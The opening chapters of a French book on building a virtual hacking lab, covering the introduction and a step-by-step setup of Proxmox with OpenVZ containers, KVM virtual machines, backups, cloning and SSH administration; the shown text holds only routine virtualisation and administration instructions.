Hacking - Un Labo Virtuel Pour Auditer Et Mettre en Place Des Contre-mesures

Hacking - Un labo virtuel pour auditer et

mettre en place des contre-mesures

Informations générales

Ce livre s'adresse à toute personne souhaitant s'initier ou se perfectionner dans le domaine de

la sécurité informatique, et donc du hacking, et désireuse de faire un point sur ses

compétences.

Quand une entreprise, un particulier, une association souhaite mettre en place un système

d'information, comment vérifier, avant la mise en production, qu'il n'existe pas de faille de

sécurité ? Comment tester si les protections mises en place sont efficaces ? Ce livre est conçu

pour répondre à ces attentes en guidant le lecteur dans la conception d'un laboratoire

virtualisé complet dans lequel de nombreux services seront implémentés.

Après cette première phase de création, votre laboratoire virtualisé accueillera votre système

d'information et vous pourrez alors attaquer celui-ci afin d'en détecter les failles. Pour

vous entraîner à cette phase d'attaque, les auteurs vous proposent de mettre en place dans le

laboratoire un ensemble d'éléments faillibles. Ceux-ci sont présentés sous forme d'un

challenge de sécurité dédié à l'entraînement. Vous pourrez ainsi vérifier vos compétences et

évaluer la qualité des outils d'audit que vous souhaitez utiliser. Les auteurs ont cherché à

couvrir le domaine le plus large possible avec un coût très raisonnable en investissement

matériel. Ainsi, vous serez confrontés à des failles applicatives, des failles Web, des failles

systèmes, etc. Une correction des différentes épreuves vous est proposée.

Pour terminer, les solutions pour se protéger et mettre en place les contre-mesures adaptées

sont présentées.

Les chapitres du livre : Introduction – Proxmox – Machines virtuelles et services – Mise en place des épreuves –

Plateformes d'entraînement – Le matériel indispensable – Sécurisation du PC

Introduction

La sécurité informatique est un domaine particulier qui ne peut pas être abordé de la même

façon que les autres domaines de l’informatique. Elle ne fait pas l’objet de cours académiques

comme ceux que nous pouvons suivre à l’Université. C’est pour cette raison que les plus

grands hackers ont rarement un cursus universitaire, car il faut regarder les choses autrement.

Pour trouver une faille de sécurité, il n’est pas nécessaire de tout connaître sur tous les

systèmes et tous les langages, ce qui est impossible, il faut juste être capable de voir ce que les

autres ne voient pas.

L’objectif de cet ouvrage est d’apprendre à concevoir un petit laboratoire permettant de

s’entraîner à l’audit des systèmes d’information et de tester des solutions logicielles ainsi que

quelques éléments matériels.

La lecture de ce livre nécessite certaines connaissances en informatique. Le lecteur doit avoir

des notions sur les langages assembleur, PHP et C, ainsi que sur les bases de données et les

réseaux. Sans être un expert de chaque domaine, la compréhension de l’ouvrage sera plus

aisée si le lecteur dispose de ces bases. Ces connaissances sont indispensables pour aborder le

« hacking » mais elles peuvent être acquises au fil de l’eau. Par exemple, lorsque nous

parlerons de « BoF » (buffer overflow), le lecteur constatera que des notions d’assembleur

sont indispensables. Il pourra alors consulter en parallèle de cet ouvrage un livre sur

l’assembleur lui permettant d’appréhender les points traités.

Nous rencontrons dans nos différents audits de sécurité des failles extrêmement basiques car

le programmeur, bien que connaissant parfaitement le langage qu’il utilise, n’a pas la pensée

"programmation sécurisée". Voyons comment nous allons pouvoir progresser dans la

sécurisation de systèmes en construisant ce laboratoire.

Dans la première partie de l’ouvrage, nous verrons comment installer une multitude de

services et de systèmes à moindres frais et en optimisant le temps passé à cette installation.

Nous souhaitons avoir un ensemble souple, modulable à souhait et simple d’utilisation. La

virtualisation semble donc le meilleur choix, mais laquelle retenir parmi toutes les solutions

proposées ? Nous expliquerons pourquoi nous avons opté pour la mise en œuvre d’un serveur

Proxmox. Nous passerons à l’installation de celui-ci et détaillerons les principales commandes

qui permettent de piloter les machines virtuelles. Nous passerons ensuite à l’installation d’une

multitude de services afin de reproduire un petit réseau d’entreprise. Ces services tourneront

sous OpenVZ. Nous aborderons alors la mise en place de failles de sécurité permettant

d’évaluer vos compétences en test de pénétration de systèmes ainsi que des logiciels d’audit

automatisés. OpenVZ ne permettant d’émuler que des systèmes Linux, il sera temps de passer

à la virtualisation de machines Windows avec KVM qui est aussi supporté par Proxmox. Nous

traiterons l’audit de systèmes Windows et présenterons deux plates-formes d’entraînement à

la recherche de failles. Nous terminerons en abordant les problématiques de sécurité plus

« physique » mettant en œuvre des matériels spécifiques comme les lecteurs de cartes à puce,

les lecteurs RFID, etc.

Enfin, nous conclurons avec la sécurisation des systèmes Windows et Linux afin de nous

prémunir d’un maximum d’attaques.

Proxmox

Présentation

Pour concevoir un laboratoire de test principalement orienté systèmes et services, il existe

deux méthodes principales : soit acheter autant de machines physiques que de systèmes à

installer, soit installer les systèmes dans un environnement virtualisé sur une même machine

physique présentant de bonnes performances. La deuxième solution présente deux avantages :

réduire le coût et accroître la souplesse et la rapidité d’installation. Le seul bémol est que cette

solution reste une virtualisation et qu’il peut arriver qu’un comportement se produise sur un

environnement réel et pas dans un environnement virtualisé. Mais cela reste à la marge et les

avantages que fournit la virtualisation sont tels que nous avons retenu cette solution.

Il existe actuellement plusieurs méthodes de virtualisation. Nous allons décrire succinctement

chacune d’elles et argumenter notre choix dans le cadre de l’application que nous souhaitons

réaliser.

La virtualisation certainement la plus connue du grand public consiste en une émulation

complète du matériel. Cette technique permet d’accueillir pratiquement tous les systèmes

d’exploitation car ceux-ci n’ont pas « conscience » d’être dans un environnement virtualisé.

Elle a comme avantage de permettre de tester les logiciels et services dans une situation très

proche de la réalité lorsque ceux-ci seront mis en production sur de vrais serveurs. Son

principal défaut est qu’elle est très gourmande en ressources car il faut pour chaque

système émuler tout le matériel et faire « tourner » un nouveau noyau. Nous pouvons citer des

solutions comme VirtualBox ou QEMU, qui existent en version libre, ou encore VMware

comme solution payante avec néanmoins un « player » gratuit. Celui-ci offre un avantage

certain en limitant la consommation des ressources du système accueillant la machine

virtuelle par l’utilisation d’un noyau, que nous dirons intermédiaire, le VMKernel. Un autre

inconvénient de la virtualisation totale est qu’il est impossible de modifier en dynamique la

taille du disque dur ou la quantité de mémoire RAM allouée. Seuls quelques éléments comme

le comportement des cartes réseau peuvent être changés en fonctionnement.

La deuxième solution de virtualisation est l’utilisation de Xen. Celle-ci offre de très bonnes

performances et peut fonctionner suivant différents modes selon le système d’exploitation à

mettre en place. Elle permet la mise en œuvre de pilotes matériels virtuels mais aussi un accès

direct aux périphériques. Un avantage non négligeable est que les systèmes sont bien isolés

entre eux, offrant ainsi une bonne sécurité. C’est pour cette raison que beaucoup d’entreprises

retiennent cette solution. Néanmoins, pour tirer pleinement profit de Xen, il est préférable

d’installer des systèmes modifiés spécialement dédiés à Xen. On parle alors de

paravirtualisation utilisée au travers d’un d’hyperviseur. La mise en place de Xen est plus

complexe que les autres solutions et offre moins de souplesse. Bien que ce soit une excellente

solution que nous conseillons vivement pour la mise en œuvre de serveurs en production,

nous estimons qu’il nous fallait quelque chose de plus souple pour notre laboratoire.

La dernière solution que nous présentons est OpenVZ, qui offre une virtualisation au niveau

système d’exploitation. Celle-ci offre une très grande souplesse comme le changement de la

quantité de mémoire RAM, le nombre de processeurs ou encore la taille des disques en

dynamique, sans arrêter les services. De plus, elle n’occasionne une perte que de quelques

pour-cent de performance par rapport aux autres solutions présentées, qui elles, sont plus

gourmandes en ressources. Tout cela est rendu possible par l’utilisation d’un noyau Linux

modifié. Les environnements virtuels (VE) tournent tous avec le même noyau qui est capable

de créer plusieurs instances du système totalement isolées les unes des autres. Bien entendu,

ceci occasionne une restriction forte au niveau des systèmes d’exploitation qui peuvent être

virtualisés, car ils doivent nécessairement être des systèmes Linux. Par contre, leur installation

ne prend que quelques secondes de par le mécanisme mis en jeu. C’est donc cette solution que

nous retiendrons pour la virtualisation des environnements Linux afin de faire tourner les

divers services dont nous avons besoin (Apache, MySQL, DHCP, FTP, etc.).

Avec le choix énoncé précédemment, nous ne pouvons pas faire tourner des systèmes

Windows, ce qui est inacceptable pour un laboratoire de test. Il faut donc retenir une autre

solution. QEMU offre de bonnes performances et, chose très intéressante, il en existe un clone

nommé KVM qui est de plus intégré dans une solution proposant OpenVZ : Proxmox.

Proxmox est une solution complète pour la virtualisation intégrant OpenVZ et KVM ainsi

qu’une interface de gestion tournant dans un navigateur. Le tout est téléchargeable sous forme

d’une ISO incluant un installateur déployant un système Linux avec un noyau modifié pour

OpenVZ, un environnement KVM, un serveur Apache, etc.

Installation

La première étape consiste à récupérer une image ISO du CD-ROM d’installation disponible

sur le site www.proxmox.com à cette adresse :

http://www.proxmox.com/downloads/category/iso-images-pve

À l’heure où ces pages sont écrites, c’est la version 2.2 de Proxmox VE qui est disponible.

Nous la téléchargeons et gravons un CD-ROM afin de procéder à l’installation. Proxmox peut

être installé sur des machines ne présentant pas forcément des performances extraordinaires.

Mais comme nous comptons mettre en œuvre une dizaine de machines virtuelles, il faut quand

même un minimum de ressources. L’environnement minimum que nous vous conseillons est

le suivant :

Un processeur 64 bits, de préférence un i5 ou un i7.

Une mémoire RAM de 4 Go.

Un disque dur de 500 Go.

Bien entendu, vous pouvez prendre beaucoup plus suivant votre budget et vos objectifs car

Proxmox est capable de gérer 64 processeurs et 64 Go de RAM.

Entrons dans le vif du sujet en passant à l’installation. Après avoir démarré sur le CD-ROM,

nous sommes face à l’écran ci-après proposant des options de démarrage éventuelles. Ici, nous

nous contentons d’appuyer sur [Entrée].

http://www.proxmox.com/

http://www.proxmox.com/downloads/category/iso-images-pve

Nous acceptons ensuite les termes de la licence.

Nous vérifions que l’installation va se faire sur le bon disque. Celui-ci est indiqué en bas de

l’écran, puis nous passons à la suite. Vient alors le choix de la langue, du fuseau horaire et du

clavier.

L’étape suivante est importante puisqu’elle va définir un mot de passe pour l’administrateur

du serveur. Celui-ci doit être suffisamment robuste car il donnera accès à toutes les machines

virtuelles. Il faudra aussi renseigner un e-mail valide.

Nous arrivons alors à la configuration du réseau. Si vous êtes en DHCP, Proxmox utilise

automatiquement la configuration qui lui est fournie par le DHCP, sinon il faudra

soigneusement renseigner celle-ci.

Tous les renseignements nécessaires à l’installation sont donnés. Le passage à la prochaine

étape entraine l’installation proprement dite du serveur.

Si tout se déroule bien, nous arrivons après quelques minutes à l’écran final de l’installation

qui nous propose de redémarrer notre serveur.

Nous constatons au redémarrage que nous avons bien un noyau modifié pour Proxmox.

Une fois le serveur complètement démarré, nous constatons que nous ne disposons pas

d’environnement graphique, ce qui est normal. Nous avons alors deux solutions pour

administrer notre serveur : soit nous identifier en tant qu’utilisateur « root » et gérer les

machines virtuelles à l’aide de la ligne de commande, soit nous connecter sur le serveur à

l’aide d’un navigateur comme suggéré sur l’écran d’accueil.

Nous retiendrons cette deuxième solution dans un premier temps avant de nous lancer dans la

ligne de commande.

Configuration

1. Présentation de l’interface

Prenons donc notre navigateur préféré et connectons-nous à l’adresse indiquée. Utilisez

l’adresse correspondant à votre situation. Cette adresse n’est accessible qu’en HTTPS et nous

devons accepter le certificat car celui-ci est autosigné. Nous sommes alors face à la fenêtre

d’identification. Nous choisissons la langue souhaitée et nous identifions en tant qu’utilisateur

root.

Notre navigateur affiche normalement l’écran suivant.

En haut à gauche, nous trouvons une liste déroulante permettant de visualiser le serveur de

trois façons différentes :

serveur

dossier

stockage

En dessous, nous visualisons la représentation demandée. La partie centrale présente un grand

nombre d’onglets. Ceux-ci changent en fonction de la sélection que nous faisons dans

l’arborescence du serveur.

La partie inférieure présente les tâches réalisées et celles en cours dans le premier onglet. Le

second onglet nous renseignera sur les logs du serveur.

L’objet de cet ouvrage n’est pas un cours Proxmox. Nous vous invitons donc à vous reporter à

la documentation en ligne si vous souhaitez aller plus loin. Vous pouvez la trouver à cette

adresse : http://pve.proxmox.com/wiki/Main_Page

Nous allons ici décrire néanmoins tout ce qui est nécessaire à la réalisation de notre

laboratoire. Après ce chapitre, vous saurez déjà utiliser un grand nombre de fonctionnalités de

Proxmox.

2. Les conteneurs OpenVZ

Passons à la pratique en créant notre première machine virtuelle. Nous découvrions ainsi les

différentes fonctionnalités du Proxmox au fur et à mesure. Comme nous l’avons expliqué lors

de la présentation des différentes méthodes de virtualisation, le serveur Proxmox propose une

virtualisation avec OpenVZ, ce qui sera appelé un conteneur (CT) et une virtualisation

complète avec KVM qui sera appelée machine virtuelle (VM).

Nous allons commencer par créer un conteneur. Mais avant, il est nécessaire de charger des

modèles qui seront utilisés pour sa création. Dans la vue serveur nous cliquons sur le [+] et

http://pve.proxmox.com/wiki/Main_Page

sélectionnons la branche local (proxmox). Nous visualisons sur la partie centrale un résumé

de l’état de l’espace disque dont nous disposons sur notre serveur. Nous passons à l’onglet

Contenu et constatons que nous ne disposons pour le moment d’aucun modèle.Pour en

charger un, il faut cliquer sur Modèles. Nous sommes alors face à une liste de modèles

disponibles.

Nous voyons qu’il existe quelques systèmes d’exploitation possibles mais surtout, une

multitude de services et autres CMS prêts à l’emploi comme LAMP, Drupal, Symfony, etc.

Commençons par un système simple et choisissions une Debian-6.0. Nous sélectionnons

l’item correspondant dans la liste et cliquons sur Télécharger.

Dans l’arborescence de gauche, si nous nous rendons sur le disque local du Proxmox et que

nous sélectionnons l’onglet Contenu du volet de droite, nous visualisons bien l’image que

nous venons de télécharger.

Il est possible de récupérer d’autres modèles sur d’autres sources et aussi de créer ses propres

modèles. Un exemple de source : http://openvz.org/Download/template/precreated

Pour ce qui est de la création de ses propres modèles, ce n’est pas le sujet de ce livre, mais

vous pouvez vous reporter à l’exemple de création d’un modèle en suivant ce lien :

http://www.webstrat.fr/blog/web-technology/creer-un-template-de-machine-virtuelle-sous-

openvz

Maintenant que nous disposons d’un modèle, il faut créer le conteneur. Commençons par

cliquer en haut à droite sur le bouton Créer CT. Nous sommes alors face à l’écran ci-après.

Le premier champ permet de spécifier le nœud ; ici, il n’y en a qu’un. Ces nœuds permettent

de mettre des serveurs Promox en « cluster ». Ceci permet une haute disponibilité des services

avec une gestion de machines virtuelles réparties sur plusieurs serveurs physiques. Ce n’est

pas notre cas ici et nous travaillerons toujours avec un seul nœud. Par contre, cette possibilité

est souvent utilisée par les prestataires proposant des services à haute disponibilité. Il faut

ensuite indiquer un numéro unique pour chaque machine, ce sera son ID. Il est

automatiquement incrémenté, mais nous pouvons y mettre ce que nous voulons. Laissons la

http://openvz.org/Download/template/precreated

http://www.webstrat.fr/blog/web-technology/creer-un-template-de-machine-virtuelle-sous-openvz

http://www.webstrat.fr/blog/web-technology/creer-un-template-de-machine-virtuelle-sous-openvz

valeur 100 par défaut. Vient ensuite le nom de la machine, par exemple « WEB1 ». Nous

n’avons pas constitué de pool de ressources, ce champ restera donc vide. Nous gardons aussi

le champ stockage sur local, car nous n’avons déclaré qu’une zone de stockage disponible

pour le moment. Reste le mot de passe à saisir et nous pouvons cliquer sur Suivant.

Nous devons choisir ensuite le modèle avec lequel nous souhaitons créer notre conteneur. Ici,

nous n’en trouvons qu’un seul car nous n’en avons téléchargé qu’un. Une fois celui-ci

sélectionné, passons à l’étape suivante.

Cette étape nous permet de configurer les ressources de la machine virtuelle. Il faudra ajuster

celles-ci en fonction de ce que nous souhaitons faire avec le conteneur (CT). Par exemple,

pour un petit serveur web, nous pouvons garder les réglages par défaut. Il sera toujours

possible de revenir par la suite sur la mémoire allouée, ou l’espace disque et même sans

arrêter les services. C’est un gros avantage d’OpenVZ. Passons à la configuration du réseau

en cliquant sur Suivant.

Nous constatons que nous avons deux possibilités pour configurer l’interface réseau de la

machine virtuelle. Le mode « venet » ou « mode routé ». Dans ce cas, c’est le serveur

OpenVZ qui administre complètement l’interface en lui attribuant une IP qui sera routée par

le noyau Linux. L’interface n’a donc pas sa propre adresse MAC, et ne peut pas faire de «

broadcast » dans le conteneur. Par contre, la sécurité est renforcée car OpenVZ contrôle tout

le trafic qui remonte à la machine virtuelle. De plus, ce mode présente des performances

supérieures. Tout ceci est parfait pour fournir un service classique, mais ici notre but est de

reproduire de la façon la plus fidèle possible le comportement d’une machine réelle. Dans ce

cas, il est préférable d’utiliser le mode « Bridged » (pont). La machine virtuelle se comporte

alors comme si elle possédait sa propre carte réseau, elle dispose d’une adresse MAC et peut

faire du « broadcast », et par conséquent, la sécurité doit être gérée par le système installé

dans le conteneur. Nous choisirons ce mode. Voici un petit tableau qui résume les deux modes

exposés.

Le mode

Veth

correspond à un accès par pont que nous privilégions ici.

Plus que quelques éléments à configurer et notre machine sera prête ; cliquons sur Suivant.

Propriété Veth

(Virtual ETHernet)

Venet

(Virtual NETwork)

Dispose d’une adresse MAC Oui Non

Peut faire du broadcast Oui Non

Peut capturer le trafic réseau Oui Non

Sécurité du réseau Basse Élevée

Peut être utilisée dans un pont Oui Non

Supporte l’IPv6 Oui Oui

Performances Rapide Très rapide

Il n’est pas nécessaire de configurer ici un serveur DNS, nous le ferons dans la machine

virtuelle. Passons à la dernière étape.

Nous sommes alors face à un écran qui résume l’ensemble des paramètres que nous venons de

configurer. Après une relecture de ceux-ci pour vérification, nous pouvons lancer la création

de la machine en cliquant sur Terminé. Après quelques secondes, nous visualisons la

confirmation de la création de la machine.

Notre conteneur apparaît dans l’arborescence du Proxmox sur la partie gauche de l’écran. Si

nous cliquons dessus, l’écran de droite affiche un résumé de son statut.

Nous voyons que la machine est pour le moment stoppée. Les différents onglets nous

permettent de visualiser les ressources occupées, le mode réseau, etc. Lorsque la machine est

sélectionnée, un clic sur Démarrer permet de lancer celle-ci. Nous voyons en bas de l’écran

les enregistrements des opérations que nous faisons. Une fois la machine démarrée, nous

pouvons obtenir une console sur celle-ci en cliquant sur Console en haut à droite de l’écran.

Comme le serveur Proxmox a été installé avec un serveur Apache proposant une connexion

HTTPS qui dispose d’un certificat autosigné, et que celui-ci a besoin de démarrer une applet

Java pour émuler une console sur la machine virtuelle, notre navigateur nous demande tout

naturellement une confirmation avant de lancer le code Java.

Deux confirmations seront demandées. Nous confirmons le lancement en cliquant sur Run.

Nous sommes alors face à la console ci-après.

Nous pouvons nous identifier en tant qu’utilisateur « root » avec le mot de passe que nous

avons saisi lors de la création de la machine virtuelle. Cette navigation via une application

Java n’est pas des plus confortables et nous verrons qu’il est préférable de travailler en

connexion SSH, directement sur le serveur quand cela est possible.

Nous en avons fini pour le moment avec l’installation de machines en OpenVZ. Nous

configurerons dans le chapitre suivant tous les services nécessaires à notre laboratoire de

hacking dans ce type de machines virtuelles.

3. Travailler avec une ISO et KVM

Comme nous l’avons expliqué, les machines OpenVZ ne peuvent émuler que des systèmes

Linux. Il faut donc passer par KVM pour installer un système Windows. Avant de commencer

l’installation, il faut dans un premier temps fournir à notre serveur Proxmox une image d’un

CD-ROM d’installation. Il est toujours possible d’utiliser le CD-ROM de la machine qui

héberge le serveur Proxmox mais ce n’est pas des plus commodes quand le serveur est distant.

C’est pour cette raison que nous préférons ici l’utilisation d’une image ISO. La première étape

consiste à déposer l’image ISO du CD-ROM sur le serveur. Pour cela, il faut sélectionner le

disque local dans l’arborescence du serveur à gauche puis se rendre dans l’onglet Contenu.

Nous voyons deux choix apparaître dans le menu de cet onglet : Modèle et Upload. En

cliquant sur Upload, le serveur nous ouvre une boîte de dialogue nous demandant d’indiquer

où se trouve l’image que nous souhaitons déposer.

Nous choisissons l’image dont nous disposons. Si vous n’avez à votre disposition que le CD-

ROM original de Windows, il est toujours possible d’en faire une image avec k3b par

exemple. Mais ce n’est pas le sujet de ce livre. Nous poursuivrons le dépôt en cliquant sur

Upload.

L’image de notre CD-ROM remonte sur le serveur. La durée de cette opération peut être

variable suivant la rapidité de votre connexion. Une fois l’opération terminée, nous

visualisons deux éléments dans Contenu : l’image ISO que nous venons de déposer et le

modèle de la Debian.

Nous pouvons passer à la création d’une machine KVM en cliquant sur Créer VM en haut à

droite de l’écran. Le premier onglet de la boîte de dialogue qui nous est proposée ressemble

fortement à celui de la création de conteneur, mais ici, aucun mot de passe n’est nécessaire.

Nous changeons l’ID de la machine en 500 et choisissons Win1 comme nom de VM. Nous

passons à l’étape suivante. Il peut être intéressant d’organiser les ID de machines en fonction

du système d’exploitation installé. Par exemple, 1xx pour les Linux, 5xx pour les Windows.

Dans cette étape, il faut choisir le type de système d’exploitation que nous voulons installer.

Nous voyons qu’il est aussi possible d’installer des systèmes Linux, ce qui semble normal.

Mais cette fois, le noyau du système appartiendrait entièrement à la machine virtuelle et ne

serait pas partagé avec Proxmox. Dans notre cas, nous choisissons Windows XP/2003 et

passons à l’étape suivante.

C’est là que l’image du CD-ROM que nous avons déposée va nous être très utile. Il suffit

juste de la sélectionner pour simuler son insertion dans le lecteur de la machine virtuelle.

Nous pouvons poursuivre et passer à l’étape de configuration du disque dur.

Le disque dur de la machine est en réalité un fichier. Nous pouvons choisir la façon dont il

sera vu dans la machine virtuelle (IDE, SATA, etc.), sa taille et le type d’image disque (raw,

QEMU, VMware). Nous conservons les réglages proposés par défaut, sauf la taille que nous

choisissons de réduire un peu. Tout ceci dépend de ce que vous souhaitez faire avec votre

machine virtuelle.

L’étape suivante nous permet de choisir le microprocesseur que nous voulons émuler pour

notre machine. En réalité, nous allons pouvoir faire fonctionner un Windows 32bits sur un

qemu64. Ce paramètre n’est qu’un indicateur pour notre émulation. Nous n’entrerons pas

dans les détails techniques du choix du CPU, ce qui nous emmènerait trop loin, mais vous

pouvez approfondir vos connaissances à ce sujet en lisant quelques discussions intéressantes :

http://rwmj.wordpress.com/2010/10/08/32-or-64-bit-virtual-cpu-in-kvm/

https://www.berrange.com/posts/2010/02/15/guest-cpu-model-configuration-in-libvirt-with-

qemukvm/

Gardons les réglages par défaut et passons à l’étape suivante.

http://rwmj.wordpress.com/2010/10/08/32-or-64-bit-virtual-cpu-in-kvm/

https://www.berrange.com/posts/2010/02/15/guest-cpu-model-configuration-in-libvirt-with-qemukvm/

https://www.berrange.com/posts/2010/02/15/guest-cpu-model-configuration-in-libvirt-with-qemukvm/

Cette étape nous permet de régler la quantité de mémoire que nous attribuons à la machine

virtuelle. Attention à ne pas trop attribuer de mémoire à une multitude de machines qui vont

finir par occuper toute la mémoire de notre serveur et le faire fortement ralentir. Nous

conservons donc les 512 Mo proposés et passons à l’étape suivante, la configuration du

réseau.

Nous disposons de plus d’options que dans le cas des conteneurs. Le premier choix se fait

entre Bridged, NAT et No Network. Dans le premier cas, tout se passe comme si la carte

réseau de notre machine virtuelle était directement connectée au réseau physique sur lequel se

trouve le serveur. La deuxième possibilité est la translation d’adresse. Dans ce cas, il y a un

routage entre l’interface réseau de la machine virtuelle et le réseau physique. Le dernier choix

est sans intérêt puisqu’il prive notre VM de toute interface réseau. Comme dans le cas de la

machine Debian, nous choisissons le mode Bridged pour que notre laboratoire virtuel se

rapproche le plus possible de machines réelles et que celles-ci soient vues sur le réseau

comme telles. Sur la partie droite de la boîte de dialogue qui nous est proposée, nous pouvons

sélectionner le type de carte réseau émulée, choisir éventuellement une adresse MAC pour

celle-ci et limiter sa bande passante si nécessaire. Nous conservons les réglages par défaut,

qui se prêtent bien à ce que nous souhaitons faire.

La dernière étape nous permet de relire l’ensemble des paramètres réglés pour cette machine

et de les confirmer si tout nous semble correct. C’est ce que nous faisons.

En cliquant sur Terminé nous constatons que la machine est immédiatement créée,

contrairement à la création de conteneur qui avait nécessité quelques secondes. C’est normal

car ici, aucun système n’est encore installé sur la machine. C’est juste une boîte vide pour le

moment.

Pour procéder à l’installation de la machine, il faut la démarrer. Pour cela, nous visualisons la

liste des machines disponibles dans l’arborescence de notre serveur, sélectionnons la machine

500 et cliquons sur Démarrer. Une fois la machine démarrée, nous pouvons demander une

console. Nous pouvons alors installer notre Windows comme nous le faisons habituellement.

Voilà, nous avons à présent deux machines virtuelles installées, une dans un conteneur sous

OpenVZ et une autre avec KVM, tout ceci dans la même interface.

4. Effectuer des sauvegardes

Créer des machines virtuelles, c’est bien, mais quand nous aurons passé beaucoup de temps à

configurer des services et failles de sécurité afin de s’entrainer à l’audit, nous souhaiterons ne

pas avoir à refaire tout ce travail si une machine vient à être altérée par une attaque. Il est

donc intéressant de pouvoir sauvegarder, restaurer et dupliquer nos VM.

Pour la sauvegarde d’une machine virtuelle, il existe plusieurs solutions et plusieurs modes.

Proxmox est en effet pensé pour créer des services à haute disponibilité et permet donc

d’effectuer des sauvegardes tout en maintenant le service actif. Ce n’est pas pour rien que de

grosses entreprises proposant de l’hébergement ont retenu cette solution.

Avant d’effectuer toute sauvegarde, il est nécessaire de configurer notre serveur Proxmox

pour lui définir un emplacement où enregistrer les images. Pour cela, plaçons-nous tout en

haut de l’arborescence sur Centre de données et rendons-nous dans l’onglet Stockage. Nous

visualisons un seul stockage disponible, local, qui est utilisé pour les machines virtuelles

présentes mais pas pour leur sauvegarde.

Nous allons déclarer à Proxmox un dossier pour la sauvegarde des VM. Dans le menu

Ajouter nous disposons de quatre options :

Directory

LVM Group

NFS Share

iSCSI target

Comme nous sommes partis du principe que nous n’avions qu’un disque pour le moment,

nous allons choisir d’indiquer un lieu de sauvegarde sous la forme d’un dossier. Nous

choisissons Directory.

Lors de l’installation du serveur, le système de partitionnement a attribué la plus grande partie

du disque dur à une partition montée dans le dossier /var/lib/vz. C’est donc dans cette zone

que nous allons déclarer l’emplacement des sauvegardes. Nous nommons celle-ci « Dump »

et précisons le chemin complet dans Répertoire. Le contenu est exclusivement réservé à la

sauvegarde, nous choisissons alors uniquement Backups dans le menu Contenu. Les autres

options sont laissées aux valeurs par défaut.

Nous visualisons bien deux déclarations de stockage et voyons apparaître « dump » dans

l’arborescence du serveur Proxmox à gauche. Voilà, nous sommes prêts à effectuer la

sauvegarde d’une machine.

Sélectionnons la VM Debian d’ID 100 dans l’arborescence du Proxmox et rendons-nous dans

l’onglet Sauvegarde du panneau de droite.

Nous voyons un menu disposant d’une option Backup now. Cliquons dessus. Nous sommes

face à la boîte de dialogue intitulée Sauvegarde CT 100.

Plusieurs options nous sont ici proposées, parmi lesquelles l’emplacement où sera

sauvegardée l’image de notre machine. Comme nous n’avons déclaré qu’un seul emplacement

dédié aux sauvegardes, celui-ci est mis par défaut. Vient ensuite le mode. Il en existe trois :

Snapshot : qui permet de faire une image de la machine sans suspendre les services de

celle-ci. Tout au plus, l’impact de ce mode sur les VM sera de les ralentir.

Suspend : qui effectue la sauvegarde de la machine en suspendant temporairement les

services.

Stop : qui arrête la machine pour en effectuer la sauvegarde.

Nous ne sommes pas ici dans le cas d’un maintien de service absolument obligatoire puisque

nous sommes dans un laboratoire. Dans ce cas, il est préférable d’utiliser le mode Stop, qui est

celui préconisé si on a le choix.

Enfin, il reste à déterminer le mode de compression de l’image. De même, nous ne sommes

pas à quelques secondes près et une archive gzip nous permettra d’économiser de l’espace

disque. Les options étant réglées, il ne reste plus qu’à cliquer sur Sauvegarde.

Le temps nécessaire pour effectuer la sauvegarde dépend beaucoup de la puissance de votre

serveur, de la rapidité de son disque dur et évidemment de la taille de la machine à

sauvegarder. Mais cela reste généralement très rapide.

Nous remarquons qu’en rafraîchissant la page de notre navigateur, nous voyons apparaître la

sauvegarde que nous venons d’effectuer dans la zone de droite.

Il est alors possible à présent de restaurer la machine. Celle-ci se retrouvera exactement dans

l’état dans lequel elle se trouvait au moment de sa sauvegarde.

Il est vraiment intéressant de sauvegarder des machines, mais il peut aussi être très utile de

dupliquer des machines, c’est-à-dire de les cloner. Pour cela, rien de plus simple. Il faut

commencer par créer un conteneur et peu importe son contenu. Créons par exemple une VM

qui présente les caractéristiques suivantes :

Nom : WEB2

Mémoire RAM : 512 Mo

Disque dur : 1 Go

Une interface réseau en Bridge

Pour cloner la machine WEB1 dans la machine WEB2, il suffit de sélectionner la machine

WEB2 dans l’arborescence du serveur, de se rendre dans l’onglet Sauvegarde, de

sélectionner notre sauvegarde de la machine WEB1 et de cliquer sur Restaurer.

La boîte de dialogue qui se présente devant nous nous indique bien que nous allons restaurer

la machine d’ID 102 avec l’image vzdump-openvz-100-xxxx.tar.gz. Lorsque nous cliquons

sur Restaurer, un avertissement nous prévient que cela aura pour effet de détruire toutes les

données de la machine cible restaurée. Confirmons la restauration. Si l’opération s’est

correctement déroulée, nous devons voir apparaître le résumé ci-après.

En allant voir dans l’onglet Ressources de chaque machine, nous constatons que la VM d’ID

102 possède à présent un disque de 4 Go, comme la VM d’ID 100, le clonage ayant reproduit

à l’identique la VM d’ID 100. La duplication exactement à l’identique d’une VM va nous

poser un problème au niveau de la carte réseau. En effet, si nous visualisons l’onglet Réseau

de chaque machine, nous constatons qu’elles ont la même adresse MAC et qu’elles sont

connectées sur le même pont (vmbr0) avec le même « Host device name : veth100:0 » qui lui

aussi présente la même adresse MAC. Pour éviter tout problème, le mieux est de changer les

adresses MAC et de créer une nouvelle interface réseau, voire de détruire l’interface réseau et

de la recréer.

Nous avons à présent sauvegardé, restauré et cloné des machines. Ceci est très utile lorsqu’on

travaille sur des tests d’intrusion.

5. Les commandes de base

a. Administrer autrement Proxmox

Jusqu’à présent nous avons utilisé l’interface web pour l’administration de notre serveur.

Comme celui-ci tourne dans un environnement Linux, il est tout à fait possible d’utiliser une

connexion SSH pour accéder au serveur. Si vous êtes sous Windows, je vous conseille

d’utiliser Putty, qui est un logiciel libre et permet des connexions de toutes sortes, Telnet,

SSH, Série, etc. Vous pouvez télécharger ce logiciel à l’adresse suivante :

http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html

Il n’y a même pas d’installation à faire, juste à lancer l’exécutable. Nous nous plaçons dans la

catégorie Session et saisissons l’IP de notre serveur. Nous pouvons même sauvegarder cette

configuration avec Save.

Cliquons sur Open et acceptons la clé qui nous est fournie. Celle-ci sera mémorisée et cette

confirmation ne nous sera plus demandée à la prochaine connexion.

http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html

Nous saisissions l’identifiant root et son mot de passe. Nous avons alors une console ouverte

sur le serveur.

Si vous êtes sous Linux, pas de problème, la commande ssh est native sur le système. Un

simple :

ssh [email protected]

dans une console, en remplaçant évidemment l’IP indiquée par l’IP de votre serveur, nous

permet d’obtenir une invite de commande sur le serveur. Il est aussi possible d’améliorer la

sécurité de la connexion en faisant un échange préalable de clés entre les clients autorisés à se

connecter et le serveur.

Dans la section suivante, nous partons du principe que nous avons établi une connexion SSH

entre le serveur et que nous sommes face à l’invite de commande de celui-ci.
